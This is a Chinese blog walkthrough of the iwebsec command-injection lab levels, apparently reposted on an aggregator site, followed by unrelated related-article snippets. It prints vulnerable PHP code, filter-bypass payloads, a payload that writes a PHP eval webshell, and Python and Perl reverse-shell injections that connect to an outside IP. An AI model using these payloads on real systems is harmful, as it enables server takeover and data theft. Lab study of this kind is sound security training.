命令执行漏洞 | iwebsec

news/2024/12/28 14:08:24/

文章目录

    • 1 靶场环境
    • 2 命令执行漏洞介绍
    • 3 靶场练习
      • 01-命令执行漏洞
      • 02-命令执行漏洞空格绕过
      • 03-命令执行漏洞关键命令绕过
      • 04-命令执行漏洞通配符绕过
      • 05-命令执行漏洞base64编码绕过
    • 4 命令执行漏洞危害
      • 01-读写系统文件
      • 02-执行系统命令
      • 03-种植恶意木马
      • 04-反弹shell
        • python反弹shell
        • perl反弹shell

1 靶场环境

这是 iwebsec 靶场,具体搭建过程可以看前面的文章。

在这里插入图片描述

2 命令执行漏洞介绍

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞。【摘自《web安全攻防》】

Windows系统支持的管道符:

管道符作用举例
|直接执行后面的命令。在这里插入图片描述
||前面执行的命令执行出错才执行后面的语句。在这里插入图片描述
&前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。)在这里插入图片描述
&&前面语句为真才能执行后面的语句。在这里插入图片描述

Linux系统支持的管道符:

管道符作用举例
|显示后面语句的执行结果。在这里插入图片描述
;执行完前面的语句再执行后面的。在这里插入图片描述
||前面语句执行错误才执行后面的语句。在这里插入图片描述
&前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。)在这里插入图片描述
&&前面的语句为真才能执行后面的语句。在这里插入图片描述

3 靶场练习

01-命令执行漏洞

打开靶场,直接测试。使用|

在这里插入图片描述

使用;

在这里插入图片描述

使用||

在这里插入图片描述

使用cat命令获取文件。

在这里插入图片描述

看网页源码,发现cat到文件源码。

在这里插入图片描述

获取/etc/passwd文件。

在这里插入图片描述

命令执行漏洞代码分析

服务端处理 ping ,程序获取GET参数IP,然后拼接到system() 函数中,利用 system() 函数执行ping的功能,但此处没有对参数IP做过滤和检测,导致可以利用管道符执行其他的系统命令。

<?phprequire_once('../header.php');
?><html><head><title>命令执行漏洞</title></head><h2>命令执行漏洞</h2><div class="alert alert-success"><p>/01.php?ip=127.0.0.1 </p></div><body><?phpif(isset($_GET['ip'])){$ip = $_GET['ip'];//用户可以控制system("ping -c 2 ".$ip);//system系统命令,没有限制}else{exit();}
?>

02-命令执行漏洞空格绕过

在这里插入图片描述

过滤了空格,可以去掉空格。

在这里插入图片描述

管道符两边的空格可以去除。但是有些是不能去除的,比如cat /ect/passwd,我们可以想办法绕过空格:

  1. 使用%09%09是tab键的url编码。
    在这里插入图片描述

  2. 使用<< 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
    在这里插入图片描述

  3. 使用{},用,实现空格可能。
    在这里插入图片描述

  4. 使用${IFS}
    在这里插入图片描述

  5. 使用$IFS$9
    在这里插入图片描述

源码分析

<?phpif(isset($_GET['ip'])){if (preg_match('/ /', $_GET['ip'])) {  //匹配空格die('error!!!');}else{$ip = $_GET['ip'];}system("ping -c 2 ".$ip);}else{exit();}
?>

03-命令执行漏洞关键命令绕过

在这里插入图片描述

cat命令的绕过:

  1. 使用常规绕过

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 非常规操作

在这里插入图片描述

在这里插入图片描述

其他的试了,不行。我用自己的Linux系统试试:

在这里插入图片描述

在这里插入图片描述

  1. 使用符号及拼接

在这里插入图片描述

在这里插入图片描述

源码分析

<?phpif(isset($_GET['ip'])){if (preg_match('/cat/', $_GET['ip'])) {  //过滤了catdie('error!!!');}else{$ip = $_GET['ip'];		}system("ping -c 2 ".$ip);}else{exit();}	
?>

04-命令执行漏洞通配符绕过

<?phpif(isset($_GET['ip'])){if (preg_match('/etc|passwd/', $_GET['ip'])) {die('error!!!');}else{$ip = $_GET['ip'];	}system("ping -c 2 ".$ip);}else{exit();}
?>

看源码只是过滤了/etc/passwd文件,读取其他文件是没有问题的:

在这里插入图片描述

在这里插入图片描述

但我就是要读取/etc/passwd文件呢?

  1. 可以使用通配符绕过:

通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 【百度百科】

在这里插入图片描述

在这里插入图片描述

  1. 使用符号及拼接

在这里插入图片描述

在这里插入图片描述

05-命令执行漏洞base64编码绕过

在这里插入图片描述

直接就可以RCE,看一下源码:

<?phpif(isset($_GET['ip'])){if (preg_match('/id/', $_GET['ip'])) {die('error!!!');}else{$ip = $_GET['ip'];}system("ping -c 2 ".$ip);}else{exit();}
?>

过滤了id这个关键字,Linux id命令用于显示用户的ID,以及所属群组的ID

在这里插入图片描述

使用base64编码绕过:

echo aWQ= | base64 -d 

在这里插入图片描述

第一个例子直接输出为id,第二个例子加了反引号`则会执行输出的内容,即执行命令id

在这里插入图片描述

除了base64,我们可以使用hex编码:

ip=127.0.0.1 | echo "6964" | xxd -r -p | bash
ip=127.0.0.1 | `echo "6964" | xxd -r -p`

在这里插入图片描述

在这里插入图片描述

第一句直接输出id,第二句将输出的内容传进bash执行。也可以不用bash执行,直接用反引号执行。

在这里插入图片描述

读取/etc/passwd文件:

在这里插入图片描述

在这里插入图片描述

4 命令执行漏洞危害

以第一关的环境为例,进行下面的实验。

01-读写系统文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

02-执行系统命令

常见linux系统命令大全

使用touch命令新建一个文件

在这里插入图片描述

在这里插入图片描述

pwd查看当前目录的位置

在这里插入图片描述

使用find命令搜索符合条件的文件

在这里插入图片描述

显示指定目录下所有目录和文件,包括隐藏文件

在这里插入图片描述

03-种植恶意木马

写入一句话木马

?ip=127.0.0.1|echo '<?php @eval($_POST['a']);?>' >2.php

在这里插入图片描述

连接一句话木马

在这里插入图片描述

在这里插入图片描述

用蚁剑连接

在这里插入图片描述

04-反弹shell

RCE/命令执行漏洞反弹shell小结。这里使用第三关环境,第一关被我改坏了。

我用bash反弹,一直写不进去,但是一句话木马又可以写入,按照源码只是对cat进行过滤而已,应该没有过滤其他东西了。试着把反弹shell逐个拆开写进去:

在这里插入图片描述

在这里插入图片描述

那应该是不能有&,所以bashphp的反弹shell语句都用不了。而python的反弹shell语句刚好没有:

python反弹shell

注入点:127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.148.36",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听点:nc -lvp 7777

在这里插入图片描述
在这里插入图片描述

perl反弹shell

注入点:127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.134.148.36:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
监听点:nc -lvp 6666

在这里插入图片描述

在这里插入图片描述


http://www.ppmy.cn/news/28214.html

相关文章

[11]云计算|简答题|案例分析|云交付|云部署|负载均衡器|时间戳

升级学校云系统我们学校要根据目前学生互联网在线学习、教师教学资源电子化、教学评价过程化精细化的需求&#xff0c;计划升级为云教学系统。请同学们根据学校发展实际考虑云交付模型包含哪些&#xff1f;云部署采用什么模型最合适&#xff1f;请具体说明。9月3日买电脑还是租…

【Linux】调试工具gdb的使用

环境&#xff1a;centos7.6&#xff0c;腾讯云服务器Linux文章都放在了专栏&#xff1a;【Linux】欢迎支持订阅&#x1f339;前言在前文&#xff0c;我们已经讲解了vim工具以及gcc/g的使用&#xff0c;我们可以进行编写代码以及编译代码了&#xff0c;但是还没有学习如何在Linu…

【Servlet篇】Response对象详细解读

文章目录Response 继承体系Response 设置响应数据设置响应行数据设置响应头数据设置响应体数据Response 重定向Response 响应字符数据Response 响应字节数据Response 继承体系 前面说到&#xff0c;我们使用 Request 对象来获取请求数据&#xff0c;使用 Response 对象来设置响…

HDMI协议介绍(四)--Video

目录 视频格式 RGB444 YUV444 YUV422 YUV420 Color Depth Video控制信号 Pixel Repetition HDMI支持多种视频格式和分辨率。以hdmi1.4和2.0协议来说&#xff0c;视频格式支持RGB444、YUV444、YUV422和YUV420&#xff0c;其中RGB444和YUV444一般都是要求支持的。 视频格式…

tun驱动之open

tun驱动对应的设备文件是&#xff1a;/dev/net/tun&#xff0c;其详细信息如下&#xff1a; crw-rw-rw- 1 root root 10, 200 2月 26 08:05 tun 主次设备号的定义如下&#xff1a; #define MISC_MAJOR 10 #define TUN_MINOR 200 由于tun驱动属于misc设备驱动&#xff0c;因此用…

Java 主流日志工具库

日志系统 java.util.logging (JUL) JDK1.4 开始&#xff0c;通过 java.util.logging 提供日志功能。虽然是官方自带的log lib&#xff0c;JUL的使用确不广泛。 JUL从JDK1.4 才开始加入(2002年)&#xff0c;当时各种第三方log lib已经被广泛使用了JUL早期存在性能问题&#x…

2023年三月份图形化三级打卡试题

活动时间 从2023年3月1日至3月21日&#xff0c;每天一道编程题。 本次打卡的规则如下&#xff1a; 小朋友每天利用10~15分钟做一道编程题&#xff0c;遇到问题就来群内讨论&#xff0c;我来给大家答疑。 小朋友做完题目后&#xff0c;截图到朋友圈打卡并把打卡的截图发到活动群…

【C++】类与对象理解和学习(下)

放在专栏【C知识总结】&#xff0c;会持续更新&#xff0c;期待支持&#x1f339;建议先看完【C】类与对象理解和学习&#xff08;上&#xff09;【C】类与对象理解和学习&#xff08;中&#xff09;本章知识点概括Ⅰ本章知识点概括Ⅱ初始化列表前言在上一篇文章中&#xff0c;…